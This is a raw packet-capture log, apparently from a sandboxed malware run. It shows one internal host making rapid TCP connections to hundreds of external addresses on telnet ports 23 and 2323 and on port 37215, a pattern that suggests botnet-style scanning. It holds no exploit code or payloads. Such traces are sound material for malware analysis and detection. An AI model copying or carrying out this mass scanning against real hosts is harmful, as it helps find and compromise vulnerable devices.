Nov 3, 2024 15:33:05.104384899 CET	42442	23	192.168.2.14	133.49.168.192
Nov 3, 2024 15:33:05.104753971 CET	54584	37215	192.168.2.14	197.91.194.211
Nov 3, 2024 15:33:05.105036974 CET	42858	37215	192.168.2.14	156.45.220.1
Nov 3, 2024 15:33:05.105161905 CET	37215	50466	156.207.157.252	192.168.2.14
Nov 3, 2024 15:33:05.105211020 CET	50466	37215	192.168.2.14	156.207.157.252
Nov 3, 2024 15:33:05.106529951 CET	40342	23	192.168.2.14	81.249.102.9
Nov 3, 2024 15:33:05.106789112 CET	46706	37215	192.168.2.14	197.41.117.125
Nov 3, 2024 15:33:05.108244896 CET	58706	37215	192.168.2.14	156.191.169.252
Nov 3, 2024 15:33:05.108354092 CET	44108	23	192.168.2.14	54.33.199.213
Nov 3, 2024 15:33:05.109895945 CET	39352	23	192.168.2.14	20.246.13.46
Nov 3, 2024 15:33:05.109989882 CET	49976	37215	192.168.2.14	41.173.225.126
Nov 3, 2024 15:33:05.111701965 CET	44442	37215	192.168.2.14	156.133.111.128
Nov 3, 2024 15:33:05.111829996 CET	53148	23	192.168.2.14	19.77.22.181
Nov 3, 2024 15:33:05.113718033 CET	53484	23	192.168.2.14	46.243.236.106
Nov 3, 2024 15:33:05.113857031 CET	38834	37215	192.168.2.14	197.5.68.146
Nov 3, 2024 15:33:05.115549088 CET	45858	37215	192.168.2.14	41.63.150.43
Nov 3, 2024 15:33:05.115675926 CET	44784	23	192.168.2.14	195.192.70.208
Nov 3, 2024 15:33:05.116497040 CET	37215	44442	156.133.111.128	192.168.2.14
Nov 3, 2024 15:33:05.116559982 CET	44442	37215	192.168.2.14	156.133.111.128
Nov 3, 2024 15:33:05.117276907 CET	50634	23	192.168.2.14	207.95.101.216
Nov 3, 2024 15:33:05.117384911 CET	36908	37215	192.168.2.14	41.113.208.134
Nov 3, 2024 15:33:05.119148970 CET	52290	37215	192.168.2.14	197.223.202.189
Nov 3, 2024 15:33:05.119282961 CET	52982	2323	192.168.2.14	44.20.145.126
Nov 3, 2024 15:33:05.121081114 CET	41086	37215	192.168.2.14	41.213.232.198
Nov 3, 2024 15:33:05.121287107 CET	41884	23	192.168.2.14	116.207.27.172
Nov 3, 2024 15:33:05.121480942 CET	37215	44442	156.133.111.128	192.168.2.14
Nov 3, 2024 15:33:05.122597933 CET	35776	37215	192.168.2.14	41.110.17.208
Nov 3, 2024 15:33:05.123311043 CET	52646	23	192.168.2.14	121.234.143.102
Nov 3, 2024 15:33:05.124445915 CET	57244	37215	192.168.2.14	156.171.200.193
Nov 3, 2024 15:33:05.125000954 CET	44442	37215	192.168.2.14	156.133.111.128
Nov 3, 2024 15:33:05.125101089 CET	39052	23	192.168.2.14	119.164.224.217
Nov 3, 2024 15:33:05.125797033 CET	37215	41086	41.213.232.198	192.168.2.14
Nov 3, 2024 15:33:05.125830889 CET	41086	37215	192.168.2.14	41.213.232.198
Nov 3, 2024 15:33:05.126173973 CET	40662	37215	192.168.2.14	156.227.71.58
Nov 3, 2024 15:33:05.127429008 CET	37556	23	192.168.2.14	198.225.115.255
Nov 3, 2024 15:33:05.128268957 CET	57698	37215	192.168.2.14	156.196.158.189
Nov 3, 2024 15:33:05.129236937 CET	33878	23	192.168.2.14	86.21.80.29
Nov 3, 2024 15:33:05.130327940 CET	56072	37215	192.168.2.14	41.169.60.238
Nov 3, 2024 15:33:05.130799055 CET	37215	41086	41.213.232.198	192.168.2.14
Nov 3, 2024 15:33:05.131117105 CET	53938	37215	192.168.2.14	197.185.108.10
Nov 3, 2024 15:33:05.131899118 CET	51050	37215	192.168.2.14	197.44.49.39
Nov 3, 2024 15:33:05.132693052 CET	36966	37215	192.168.2.14	197.215.113.9
Nov 3, 2024 15:33:05.132999897 CET	41086	37215	192.168.2.14	41.213.232.198
Nov 3, 2024 15:33:05.133435011 CET	36596	37215	192.168.2.14	41.178.239.94
Nov 3, 2024 15:33:05.134171963 CET	39852	37215	192.168.2.14	41.219.54.123
Nov 3, 2024 15:33:05.134944916 CET	33588	37215	192.168.2.14	156.167.119.212
Nov 3, 2024 15:33:05.135880947 CET	45786	37215	192.168.2.14	41.212.41.1
Nov 3, 2024 15:33:05.136620998 CET	60324	37215	192.168.2.14	197.3.48.196
Nov 3, 2024 15:33:05.136956930 CET	37215	51050	197.44.49.39	192.168.2.14
Nov 3, 2024 15:33:05.137094021 CET	51050	37215	192.168.2.14	197.44.49.39
Nov 3, 2024 15:33:05.137404919 CET	34198	37215	192.168.2.14	41.255.139.124
Nov 3, 2024 15:33:05.138329983 CET	44592	37215	192.168.2.14	197.128.115.142
Nov 3, 2024 15:33:05.139137030 CET	38306	37215	192.168.2.14	156.109.25.155
Nov 3, 2024 15:33:05.140115976 CET	60154	37215	192.168.2.14	156.249.165.48
Nov 3, 2024 15:33:05.141007900 CET	60438	37215	192.168.2.14	197.179.102.71
Nov 3, 2024 15:33:05.141793013 CET	55868	37215	192.168.2.14	156.99.132.67
Nov 3, 2024 15:33:05.142180920 CET	37215	51050	197.44.49.39	192.168.2.14
Nov 3, 2024 15:33:05.142553091 CET	59790	37215	192.168.2.14	41.152.224.214
Nov 3, 2024 15:33:05.144994974 CET	51050	37215	192.168.2.14	197.44.49.39
Nov 3, 2024 15:33:05.145067930 CET	37215	60154	156.249.165.48	192.168.2.14
Nov 3, 2024 15:33:05.145128965 CET	60154	37215	192.168.2.14	156.249.165.48
Nov 3, 2024 15:33:05.150657892 CET	37215	60154	156.249.165.48	192.168.2.14
Nov 3, 2024 15:33:05.153022051 CET	60154	37215	192.168.2.14	156.249.165.48
Nov 3, 2024 15:33:05.153448105 CET	33218	23	192.168.2.14	213.113.118.201
Nov 3, 2024 15:33:05.154273987 CET	39398	23	192.168.2.14	118.95.248.76
Nov 3, 2024 15:33:05.155087948 CET	4833	2323	192.168.2.14	60.171.141.220
Nov 3, 2024 15:33:05.155112982 CET	4833	23	192.168.2.14	58.83.144.5
Nov 3, 2024 15:33:05.155133009 CET	4833	23	192.168.2.14	193.216.10.66
Nov 3, 2024 15:33:05.155133009 CET	4833	23	192.168.2.14	174.48.189.223
Nov 3, 2024 15:33:05.155133963 CET	4833	23	192.168.2.14	116.149.147.22
Nov 3, 2024 15:33:05.155147076 CET	4833	23	192.168.2.14	181.87.157.88
Nov 3, 2024 15:33:05.155184984 CET	4833	23	192.168.2.14	83.156.204.45
Nov 3, 2024 15:33:05.155184984 CET	4833	23	192.168.2.14	44.176.38.101
Nov 3, 2024 15:33:05.155195951 CET	4833	23	192.168.2.14	213.145.226.21
Nov 3, 2024 15:33:05.155200005 CET	4833	23	192.168.2.14	13.119.0.92
Nov 3, 2024 15:33:05.155200005 CET	4833	2323	192.168.2.14	110.101.39.238
Nov 3, 2024 15:33:05.155210018 CET	4833	23	192.168.2.14	35.238.235.95
Nov 3, 2024 15:33:05.155216932 CET	4833	23	192.168.2.14	202.195.136.88
Nov 3, 2024 15:33:05.155216932 CET	4833	23	192.168.2.14	77.246.219.40
Nov 3, 2024 15:33:05.155240059 CET	4833	23	192.168.2.14	130.239.122.69
Nov 3, 2024 15:33:05.155250072 CET	4833	23	192.168.2.14	99.148.159.150
Nov 3, 2024 15:33:05.155255079 CET	4833	23	192.168.2.14	72.96.26.250
Nov 3, 2024 15:33:05.155266047 CET	4833	23	192.168.2.14	53.141.13.150
Nov 3, 2024 15:33:05.155272961 CET	4833	23	192.168.2.14	9.213.114.203
Nov 3, 2024 15:33:05.155272961 CET	4833	23	192.168.2.14	95.243.45.90
Nov 3, 2024 15:33:05.155311108 CET	4833	23	192.168.2.14	1.45.205.243
Nov 3, 2024 15:33:05.155319929 CET	4833	23	192.168.2.14	24.208.235.211
Nov 3, 2024 15:33:05.155339003 CET	4833	2323	192.168.2.14	163.6.125.83
Nov 3, 2024 15:33:05.155339956 CET	4833	23	192.168.2.14	86.96.153.180
Nov 3, 2024 15:33:05.155340910 CET	4833	23	192.168.2.14	222.240.150.149
Nov 3, 2024 15:33:05.155354023 CET	4833	23	192.168.2.14	194.155.120.77
Nov 3, 2024 15:33:05.155364990 CET	4833	23	192.168.2.14	135.208.17.16
Nov 3, 2024 15:33:05.155364990 CET	4833	23	192.168.2.14	125.169.120.162
Nov 3, 2024 15:33:05.155385017 CET	4833	23	192.168.2.14	182.205.41.128
Nov 3, 2024 15:33:05.155388117 CET	4833	23	192.168.2.14	27.251.154.113
Nov 3, 2024 15:33:05.155400991 CET	4833	23	192.168.2.14	102.223.71.143
Nov 3, 2024 15:33:05.155402899 CET	4833	2323	192.168.2.14	76.65.163.5
Nov 3, 2024 15:33:05.155412912 CET	4833	23	192.168.2.14	59.104.70.102
Nov 3, 2024 15:33:05.155430079 CET	4833	23	192.168.2.14	157.73.104.164
Nov 3, 2024 15:33:05.155431032 CET	4833	23	192.168.2.14	60.206.127.42
Nov 3, 2024 15:33:05.155443907 CET	4833	23	192.168.2.14	221.31.55.45
Nov 3, 2024 15:33:05.155450106 CET	4833	23	192.168.2.14	139.207.50.73
Nov 3, 2024 15:33:05.155462027 CET	4833	23	192.168.2.14	159.133.46.176
Nov 3, 2024 15:33:05.155473948 CET	4833	23	192.168.2.14	122.12.141.242
Nov 3, 2024 15:33:05.155476093 CET	4833	23	192.168.2.14	113.11.245.234
Nov 3, 2024 15:33:05.155476093 CET	4833	2323	192.168.2.14	152.230.7.74
Nov 3, 2024 15:33:05.155492067 CET	4833	23	192.168.2.14	142.24.175.51
Nov 3, 2024 15:33:05.155493975 CET	4833	23	192.168.2.14	14.38.224.82
Nov 3, 2024 15:33:05.155504942 CET	4833	23	192.168.2.14	97.153.22.87
Nov 3, 2024 15:33:05.155513048 CET	4833	23	192.168.2.14	193.32.247.89
Nov 3, 2024 15:33:05.155515909 CET	4833	23	192.168.2.14	171.22.159.18
Nov 3, 2024 15:33:05.155524969 CET	4833	23	192.168.2.14	67.146.72.22
Nov 3, 2024 15:33:05.155536890 CET	4833	23	192.168.2.14	197.124.186.7
Nov 3, 2024 15:33:05.155553102 CET	4833	23	192.168.2.14	5.171.72.238
Nov 3, 2024 15:33:05.155559063 CET	4833	2323	192.168.2.14	154.202.189.144
Nov 3, 2024 15:33:05.155571938 CET	4833	23	192.168.2.14	103.160.31.128
Nov 3, 2024 15:33:05.155572891 CET	4833	23	192.168.2.14	211.236.218.115
Nov 3, 2024 15:33:05.155586958 CET	4833	23	192.168.2.14	174.85.177.4
Nov 3, 2024 15:33:05.155601978 CET	4833	23	192.168.2.14	102.223.83.195
Nov 3, 2024 15:33:05.155601978 CET	4833	23	192.168.2.14	78.111.148.2
Nov 3, 2024 15:33:05.155616045 CET	4833	23	192.168.2.14	152.32.71.79
Nov 3, 2024 15:33:05.155620098 CET	4833	23	192.168.2.14	45.184.51.227
Nov 3, 2024 15:33:05.155628920 CET	4833	23	192.168.2.14	53.84.72.225
Nov 3, 2024 15:33:05.155631065 CET	4833	23	192.168.2.14	86.205.44.30
Nov 3, 2024 15:33:05.155644894 CET	4833	23	192.168.2.14	65.197.172.254
Nov 3, 2024 15:33:05.155663967 CET	4833	23	192.168.2.14	200.87.2.243
Nov 3, 2024 15:33:05.155663967 CET	4833	23	192.168.2.14	141.210.193.174
Nov 3, 2024 15:33:05.155678034 CET	4833	23	192.168.2.14	222.242.249.9
Nov 3, 2024 15:33:05.155679941 CET	4833	2323	192.168.2.14	218.122.206.37
Nov 3, 2024 15:33:05.155679941 CET	4833	23	192.168.2.14	12.214.169.182
Nov 3, 2024 15:33:05.155680895 CET	4833	23	192.168.2.14	194.10.214.59
Nov 3, 2024 15:33:05.155689955 CET	4833	23	192.168.2.14	221.131.67.52
Nov 3, 2024 15:33:05.155704021 CET	4833	23	192.168.2.14	104.138.150.56
Nov 3, 2024 15:33:05.155719995 CET	4833	23	192.168.2.14	58.7.51.205
Nov 3, 2024 15:33:05.155719995 CET	4833	2323	192.168.2.14	96.83.46.155
Nov 3, 2024 15:33:05.155731916 CET	4833	23	192.168.2.14	59.182.138.26
Nov 3, 2024 15:33:05.155740023 CET	4833	23	192.168.2.14	181.45.72.95
Nov 3, 2024 15:33:05.155765057 CET	4833	23	192.168.2.14	142.1.234.57
Nov 3, 2024 15:33:05.155766964 CET	4833	23	192.168.2.14	27.135.157.244
Nov 3, 2024 15:33:05.155766964 CET	4833	23	192.168.2.14	168.164.125.15
Nov 3, 2024 15:33:05.155783892 CET	4833	23	192.168.2.14	109.97.132.54
Nov 3, 2024 15:33:05.155791044 CET	4833	23	192.168.2.14	115.139.38.74
Nov 3, 2024 15:33:05.155802011 CET	4833	23	192.168.2.14	43.32.155.104
Nov 3, 2024 15:33:05.155808926 CET	4833	23	192.168.2.14	152.64.155.169
Nov 3, 2024 15:33:05.155817986 CET	4833	23	192.168.2.14	2.253.157.125
Nov 3, 2024 15:33:05.155827045 CET	4833	2323	192.168.2.14	90.200.152.204
Nov 3, 2024 15:33:05.155827999 CET	4833	23	192.168.2.14	201.24.87.134
Nov 3, 2024 15:33:05.155833960 CET	4833	23	192.168.2.14	37.118.11.151
Nov 3, 2024 15:33:05.155849934 CET	4833	23	192.168.2.14	102.3.62.161
Nov 3, 2024 15:33:05.155854940 CET	4833	23	192.168.2.14	210.230.47.223
Nov 3, 2024 15:33:05.155860901 CET	4833	23	192.168.2.14	18.82.83.159
Nov 3, 2024 15:33:05.155862093 CET	4833	23	192.168.2.14	20.105.110.228
Nov 3, 2024 15:33:05.155875921 CET	4833	23	192.168.2.14	133.248.151.21
Nov 3, 2024 15:33:05.155888081 CET	4833	23	192.168.2.14	76.232.145.75
Nov 3, 2024 15:33:05.155888081 CET	4833	23	192.168.2.14	167.240.124.126
Nov 3, 2024 15:33:05.155901909 CET	4833	2323	192.168.2.14	81.12.175.83
Nov 3, 2024 15:33:05.155915022 CET	4833	23	192.168.2.14	100.45.252.222
Nov 3, 2024 15:33:05.155916929 CET	4833	23	192.168.2.14	20.22.35.190
Nov 3, 2024 15:33:05.155921936 CET	4833	23	192.168.2.14	216.212.56.2
Nov 3, 2024 15:33:05.155936956 CET	4833	23	192.168.2.14	121.31.28.240
Nov 3, 2024 15:33:05.155952930 CET	4833	23	192.168.2.14	89.230.174.2
Nov 3, 2024 15:33:05.155962944 CET	4833	23	192.168.2.14	64.244.34.13
Nov 3, 2024 15:33:05.155991077 CET	4833	23	192.168.2.14	147.32.238.219
Nov 3, 2024 15:33:05.155992031 CET	4833	23	192.168.2.14	70.247.0.18
Nov 3, 2024 15:33:05.156034946 CET	4833	23	192.168.2.14	162.167.162.233
Nov 3, 2024 15:33:05.156035900 CET	4833	2323	192.168.2.14	95.126.78.209
Nov 3, 2024 15:33:05.156049967 CET	4833	23	192.168.2.14	107.177.159.191
Nov 3, 2024 15:33:05.156050920 CET	4833	23	192.168.2.14	111.23.157.23
Nov 3, 2024 15:33:05.156065941 CET	4833	23	192.168.2.14	143.19.24.242
Nov 3, 2024 15:33:05.156075001 CET	4833	23	192.168.2.14	205.190.201.84
Nov 3, 2024 15:33:05.156084061 CET	4833	23	192.168.2.14	62.223.51.97
Nov 3, 2024 15:33:05.156095028 CET	4833	23	192.168.2.14	47.216.25.228
Nov 3, 2024 15:33:05.156106949 CET	4833	23	192.168.2.14	94.201.158.8
Nov 3, 2024 15:33:05.156115055 CET	4833	23	192.168.2.14	173.138.41.247
Nov 3, 2024 15:33:05.156119108 CET	4833	23	192.168.2.14	169.52.248.140
Nov 3, 2024 15:33:05.156131029 CET	4833	2323	192.168.2.14	113.232.146.112
Nov 3, 2024 15:33:05.156131029 CET	4833	23	192.168.2.14	108.55.71.185
Nov 3, 2024 15:33:05.156141996 CET	4833	23	192.168.2.14	1.6.28.215
Nov 3, 2024 15:33:05.156157017 CET	4833	23	192.168.2.14	72.14.147.17
Nov 3, 2024 15:33:05.156157017 CET	4833	23	192.168.2.14	167.207.168.75
Nov 3, 2024 15:33:05.156157970 CET	4833	23	192.168.2.14	174.235.98.192
Nov 3, 2024 15:33:05.156167030 CET	4833	23	192.168.2.14	73.23.84.131
Nov 3, 2024 15:33:05.156177998 CET	4833	23	192.168.2.14	180.224.151.109
Nov 3, 2024 15:33:05.156189919 CET	4833	23	192.168.2.14	182.191.251.126
Nov 3, 2024 15:33:05.156192064 CET	4833	23	192.168.2.14	211.203.103.191
Nov 3, 2024 15:33:05.156203032 CET	4833	2323	192.168.2.14	200.100.22.162
Nov 3, 2024 15:33:05.156224966 CET	4833	23	192.168.2.14	76.96.183.84
Nov 3, 2024 15:33:05.156224966 CET	4833	23	192.168.2.14	187.171.19.117
Nov 3, 2024 15:33:05.156227112 CET	4833	23	192.168.2.14	212.33.48.86
Nov 3, 2024 15:33:05.156239033 CET	4833	23	192.168.2.14	221.122.181.148
Nov 3, 2024 15:33:05.156258106 CET	4833	23	192.168.2.14	20.109.74.47
Nov 3, 2024 15:33:05.156258106 CET	4833	23	192.168.2.14	223.110.128.181
Nov 3, 2024 15:33:05.156258106 CET	4833	23	192.168.2.14	109.134.47.155
Nov 3, 2024 15:33:05.156263113 CET	4833	23	192.168.2.14	223.35.134.246
Nov 3, 2024 15:33:05.156270027 CET	4833	23	192.168.2.14	218.21.214.16
Nov 3, 2024 15:33:05.156280994 CET	4833	2323	192.168.2.14	19.13.240.45
Nov 3, 2024 15:33:05.156291962 CET	4833	23	192.168.2.14	5.247.187.205
Nov 3, 2024 15:33:05.156306028 CET	4833	23	192.168.2.14	44.252.32.85
Nov 3, 2024 15:33:05.156306982 CET	4833	23	192.168.2.14	108.12.15.130
Nov 3, 2024 15:33:05.156312943 CET	4833	23	192.168.2.14	81.237.140.111
Nov 3, 2024 15:33:05.156337023 CET	4833	23	192.168.2.14	83.149.150.217
Nov 3, 2024 15:33:05.156338930 CET	4833	23	192.168.2.14	92.220.41.17
Nov 3, 2024 15:33:05.156352043 CET	4833	23	192.168.2.14	223.159.4.165
Nov 3, 2024 15:33:05.156353951 CET	4833	23	192.168.2.14	161.221.96.91
Nov 3, 2024 15:33:05.156354904 CET	4833	23	192.168.2.14	200.182.76.122
Nov 3, 2024 15:33:05.156368017 CET	4833	2323	192.168.2.14	168.20.97.130
Nov 3, 2024 15:33:05.156368017 CET	4833	23	192.168.2.14	183.28.73.102
Nov 3, 2024 15:33:05.156382084 CET	4833	23	192.168.2.14	217.214.129.59
Nov 3, 2024 15:33:05.156394005 CET	4833	23	192.168.2.14	160.115.75.12
Nov 3, 2024 15:33:05.156409025 CET	4833	23	192.168.2.14	187.188.205.242
Nov 3, 2024 15:33:05.156411886 CET	4833	23	192.168.2.14	36.18.11.119
Nov 3, 2024 15:33:05.156424999 CET	4833	23	192.168.2.14	183.202.81.151
Nov 3, 2024 15:33:05.156433105 CET	4833	23	192.168.2.14	169.133.249.230
Nov 3, 2024 15:33:05.156439066 CET	4833	23	192.168.2.14	81.171.120.71
Nov 3, 2024 15:33:05.156440973 CET	4833	23	192.168.2.14	46.92.106.63
Nov 3, 2024 15:33:05.156451941 CET	4833	2323	192.168.2.14	18.111.234.70
Nov 3, 2024 15:33:05.156457901 CET	4833	23	192.168.2.14	81.137.207.217
Nov 3, 2024 15:33:05.156457901 CET	4833	23	192.168.2.14	112.102.136.59
Nov 3, 2024 15:33:05.156472921 CET	4833	23	192.168.2.14	108.96.0.21
Nov 3, 2024 15:33:05.156497002 CET	4833	23	192.168.2.14	105.88.61.180
Nov 3, 2024 15:33:05.156497002 CET	4833	23	192.168.2.14	93.200.148.218
Nov 3, 2024 15:33:05.156497002 CET	4833	23	192.168.2.14	220.32.21.184
Nov 3, 2024 15:33:05.156512022 CET	4833	23	192.168.2.14	168.182.5.95
Nov 3, 2024 15:33:05.156512022 CET	4833	23	192.168.2.14	128.0.105.6
Nov 3, 2024 15:33:05.156632900 CET	42326	23	192.168.2.14	180.89.225.190
Nov 3, 2024 15:33:05.156634092 CET	4833	23	192.168.2.14	192.174.92.1
Nov 3, 2024 15:33:05.157185078 CET	42834	23	192.168.2.14	180.89.225.190
Nov 3, 2024 15:33:05.157774925 CET	44440	23	192.168.2.14	173.42.154.129
Nov 3, 2024 15:33:05.158162117 CET	44948	23	192.168.2.14	173.42.154.129
Nov 3, 2024 15:33:05.158236027 CET	23	33218	213.113.118.201	192.168.2.14
Nov 3, 2024 15:33:05.158293009 CET	33218	23	192.168.2.14	213.113.118.201
Nov 3, 2024 15:33:05.158709049 CET	33708	23	192.168.2.14	146.184.36.238
Nov 3, 2024 15:33:05.159162045 CET	34216	23	192.168.2.14	146.184.36.238
Nov 3, 2024 15:33:05.159658909 CET	52588	23	192.168.2.14	82.233.136.38
Nov 3, 2024 15:33:05.160063982 CET	53096	23	192.168.2.14	82.233.136.38
Nov 3, 2024 15:33:05.160552979 CET	42332	23	192.168.2.14	200.122.147.32
Nov 3, 2024 15:33:05.160943985 CET	42840	23	192.168.2.14	200.122.147.32
Nov 3, 2024 15:33:05.161423922 CET	23	42326	180.89.225.190	192.168.2.14
Nov 3, 2024 15:33:05.161638975 CET	44450	23	192.168.2.14	77.222.124.20
Nov 3, 2024 15:33:05.161755085 CET	49892	37215	192.168.2.14	156.140.164.16
Nov 3, 2024 15:33:05.162549019 CET	23	44440	173.42.154.129	192.168.2.14
Nov 3, 2024 15:33:05.162550926 CET	44960	23	192.168.2.14	77.222.124.20
Nov 3, 2024 15:33:05.163420916 CET	23	33218	213.113.118.201	192.168.2.14
Nov 3, 2024 15:33:05.163536072 CET	50190	23	192.168.2.14	104.59.145.38
Nov 3, 2024 15:33:05.163656950 CET	35132	37215	192.168.2.14	156.217.236.232
Nov 3, 2024 15:33:05.164032936 CET	23	33708	146.184.36.238	192.168.2.14
Nov 3, 2024 15:33:05.164392948 CET	50702	23	192.168.2.14	104.59.145.38
Nov 3, 2024 15:33:05.164401054 CET	23	52588	82.233.136.38	192.168.2.14
Nov 3, 2024 15:33:05.165007114 CET	23	53096	82.233.136.38	192.168.2.14
Nov 3, 2024 15:33:05.165049076 CET	53096	23	192.168.2.14	82.233.136.38
Nov 3, 2024 15:33:05.165308952 CET	45076	23	192.168.2.14	174.169.170.73
Nov 3, 2024 15:33:05.165410042 CET	39408	37215	192.168.2.14	156.134.105.214
Nov 3, 2024 15:33:05.165549994 CET	23	42332	200.122.147.32	192.168.2.14
Nov 3, 2024 15:33:05.166233063 CET	45590	23	192.168.2.14	174.169.170.73
Nov 3, 2024 15:33:05.166503906 CET	23	44450	77.222.124.20	192.168.2.14
Nov 3, 2024 15:33:05.167167902 CET	37296	37215	192.168.2.14	41.168.9.54
Nov 3, 2024 15:33:05.167537928 CET	42666	2323	192.168.2.14	67.206.244.155
Nov 3, 2024 15:33:05.168395996 CET	23	50190	104.59.145.38	192.168.2.14
Nov 3, 2024 15:33:05.168530941 CET	43180	2323	192.168.2.14	67.206.244.155
Nov 3, 2024 15:33:05.169001102 CET	33218	23	192.168.2.14	213.113.118.201
Nov 3, 2024 15:33:05.169152975 CET	40348	37215	192.168.2.14	197.205.43.36
Nov 3, 2024 15:33:05.169523001 CET	52072	23	192.168.2.14	150.56.169.84
Nov 3, 2024 15:33:05.170222044 CET	23	45076	174.169.170.73	192.168.2.14
Nov 3, 2024 15:33:05.170469999 CET	52588	23	192.168.2.14	150.56.169.84
Nov 3, 2024 15:33:05.170816898 CET	55236	37215	192.168.2.14	197.2.153.184
Nov 3, 2024 15:33:05.171463013 CET	35428	23	192.168.2.14	209.129.129.97
Nov 3, 2024 15:33:05.172177076 CET	35946	23	192.168.2.14	209.129.129.97
Nov 3, 2024 15:33:05.172307968 CET	2323	42666	67.206.244.155	192.168.2.14
Nov 3, 2024 15:33:05.172436953 CET	36008	37215	192.168.2.14	41.39.6.67
Nov 3, 2024 15:33:05.173208952 CET	42490	23	192.168.2.14	95.7.203.251
Nov 3, 2024 15:33:05.174065113 CET	53478	37215	192.168.2.14	156.175.61.228
Nov 3, 2024 15:33:05.174176931 CET	43012	23	192.168.2.14	95.7.203.251
Nov 3, 2024 15:33:05.174422979 CET	23	52072	150.56.169.84	192.168.2.14
Nov 3, 2024 15:33:05.175132990 CET	36206	23	192.168.2.14	212.140.253.155
Nov 3, 2024 15:33:05.175901890 CET	54642	37215	192.168.2.14	156.157.12.162
Nov 3, 2024 15:33:05.176140070 CET	36730	23	192.168.2.14	212.140.253.155
Nov 3, 2024 15:33:05.176373959 CET	23	35428	209.129.129.97	192.168.2.14
Nov 3, 2024 15:33:05.176953077 CET	23	35946	209.129.129.97	192.168.2.14
Nov 3, 2024 15:33:05.177026987 CET	35946	23	192.168.2.14	209.129.129.97
Nov 3, 2024 15:33:05.177145004 CET	58440	23	192.168.2.14	98.111.58.225
Nov 3, 2024 15:33:05.177385092 CET	57402	37215	192.168.2.14	41.94.176.141
Nov 3, 2024 15:33:05.177999020 CET	58966	23	192.168.2.14	98.111.58.225
Nov 3, 2024 15:33:05.178154945 CET	23	42490	95.7.203.251	192.168.2.14
Nov 3, 2024 15:33:05.179006100 CET	36622	23	192.168.2.14	80.166.40.152
Nov 3, 2024 15:33:05.179234982 CET	50130	37215	192.168.2.14	197.235.77.122
Nov 3, 2024 15:33:05.179564953 CET	37150	23	192.168.2.14	80.166.40.152
Nov 3, 2024 15:33:05.179974079 CET	23	36206	212.140.253.155	192.168.2.14
Nov 3, 2024 15:33:05.180624962 CET	42910	23	192.168.2.14	36.181.35.174
Nov 3, 2024 15:33:05.180876017 CET	50678	37215	192.168.2.14	41.186.137.87
Nov 3, 2024 15:33:05.181566000 CET	43440	23	192.168.2.14	36.181.35.174
Nov 3, 2024 15:33:05.182061911 CET	23	58440	98.111.58.225	192.168.2.14
Nov 3, 2024 15:33:05.182507038 CET	23	35946	209.129.129.97	192.168.2.14
Nov 3, 2024 15:33:05.182666063 CET	51840	23	192.168.2.14	65.161.59.74
Nov 3, 2024 15:33:05.182794094 CET	39464	37215	192.168.2.14	197.123.127.167
Nov 3, 2024 15:33:05.183389902 CET	52370	23	192.168.2.14	65.161.59.74
Nov 3, 2024 15:33:05.183970928 CET	23	36622	80.166.40.152	192.168.2.14
Nov 3, 2024 15:33:05.184391022 CET	42422	23	192.168.2.14	211.210.255.138
Nov 3, 2024 15:33:05.184478045 CET	23	37150	80.166.40.152	192.168.2.14
Nov 3, 2024 15:33:05.184501886 CET	33506	37215	192.168.2.14	41.240.71.183
Nov 3, 2024 15:33:05.184510946 CET	37150	23	192.168.2.14	80.166.40.152
Nov 3, 2024 15:33:05.184993982 CET	35946	23	192.168.2.14	209.129.129.97
Nov 3, 2024 15:33:05.185250998 CET	42952	23	192.168.2.14	211.210.255.138
Nov 3, 2024 15:33:05.185890913 CET	23	42910	36.181.35.174	192.168.2.14
Nov 3, 2024 15:33:05.186080933 CET	43870	2323	192.168.2.14	152.183.125.215
Nov 3, 2024 15:33:05.186168909 CET	39260	37215	192.168.2.14	41.53.21.200
Nov 3, 2024 15:33:05.186898947 CET	44400	2323	192.168.2.14	152.183.125.215
Nov 3, 2024 15:33:05.187483072 CET	23	51840	65.161.59.74	192.168.2.14
Nov 3, 2024 15:33:05.187802076 CET	47704	37215	192.168.2.14	41.194.179.215
Nov 3, 2024 15:33:05.187958002 CET	38868	23	192.168.2.14	174.11.30.87
Nov 3, 2024 15:33:05.188963890 CET	39398	23	192.168.2.14	174.11.30.87
Nov 3, 2024 15:33:05.189342022 CET	23	42422	211.210.255.138	192.168.2.14
Nov 3, 2024 15:33:05.189682007 CET	46318	37215	192.168.2.14	156.228.90.120
Nov 3, 2024 15:33:05.189707041 CET	23	37150	80.166.40.152	192.168.2.14
Nov 3, 2024 15:33:05.189795017 CET	50308	23	192.168.2.14	104.120.197.44
Nov 3, 2024 15:33:05.190601110 CET	50838	23	192.168.2.14	104.120.197.44
Nov 3, 2024 15:33:05.190815926 CET	2323	43870	152.183.125.215	192.168.2.14
Nov 3, 2024 15:33:05.191133022 CET	46452	37215	192.168.2.14	156.176.137.173
Nov 3, 2024 15:33:05.191450119 CET	35970	23	192.168.2.14	35.78.69.180
Nov 3, 2024 15:33:05.192079067 CET	36500	23	192.168.2.14	35.78.69.180
Nov 3, 2024 15:33:05.192729950 CET	60264	37215	192.168.2.14	156.225.184.189
Nov 3, 2024 15:33:05.192776918 CET	23	38868	174.11.30.87	192.168.2.14
Nov 3, 2024 15:33:05.192940950 CET	59716	23	192.168.2.14	198.175.87.210
Nov 3, 2024 15:33:05.192992926 CET	37150	23	192.168.2.14	80.166.40.152
Nov 3, 2024 15:33:05.193804979 CET	60246	23	192.168.2.14	198.175.87.210
Nov 3, 2024 15:33:05.194556952 CET	44104	37215	192.168.2.14	41.111.151.47
Nov 3, 2024 15:33:05.194617033 CET	23	50308	104.120.197.44	192.168.2.14
Nov 3, 2024 15:33:05.194659948 CET	59110	23	192.168.2.14	124.151.144.57
Nov 3, 2024 15:33:05.195626020 CET	59640	23	192.168.2.14	124.151.144.57
Nov 3, 2024 15:33:05.196326017 CET	54806	37215	192.168.2.14	41.140.100.213
Nov 3, 2024 15:33:05.196372986 CET	23	35970	35.78.69.180	192.168.2.14
Nov 3, 2024 15:33:05.196553946 CET	51852	23	192.168.2.14	220.94.249.244
Nov 3, 2024 15:33:05.196935892 CET	23	36500	35.78.69.180	192.168.2.14
Nov 3, 2024 15:33:05.196999073 CET	36500	23	192.168.2.14	35.78.69.180
Nov 3, 2024 15:33:05.197371960 CET	52382	23	192.168.2.14	220.94.249.244
Nov 3, 2024 15:33:05.197758913 CET	37620	37215	192.168.2.14	156.71.26.142
Nov 3, 2024 15:33:05.198141098 CET	23	59716	198.175.87.210	192.168.2.14
Nov 3, 2024 15:33:05.198354006 CET	57492	23	192.168.2.14	124.217.5.131
Nov 3, 2024 15:33:05.199018955 CET	58022	23	192.168.2.14	124.217.5.131
